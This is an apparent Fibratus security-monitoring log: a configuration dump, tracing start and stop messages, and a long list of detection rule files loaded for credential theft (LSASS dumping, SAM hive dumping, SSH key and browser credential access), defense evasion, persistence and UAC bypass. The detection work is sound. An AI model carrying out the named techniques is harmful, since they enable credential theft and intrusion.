source=bootstrap/bootstrap.go:153 +time=2025-11-25T11:19:57+01:00 level=info msg=bootstrapping with pid 17504. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:19:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true max-buffers=>36 enable-mem=>false buffer-size=>512 enable-vamap=>true enable-image=>true enable-fileio=>true enable-audit-api=>true enable-net=>true min-buffers=>16 enable-registry=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-dns=>false enable-thread=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 level=>info max-age=>0 formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ timeout=>5s index-name=>fibratus enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus sniff=>false gzip-compression=>false healthcheck=>true servers=>[http://127.0.0.1:9200] bulk-workers=>1 trace-log=>false] amqp=>[ durable=>false exchange=>fibratus vhost=>/ routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false timeout=>5s passive=>false exchange-type=>topic enabled=>false] http=>[ method=>POST tls-insecure-skip-verify=>false endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-files=>[] skip-allocs=>false excluded-procs=>[] fastscan=>true skip-mmaps=>false skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:19:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:20:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:20:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:20:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:20:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:26:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:26:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:26:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 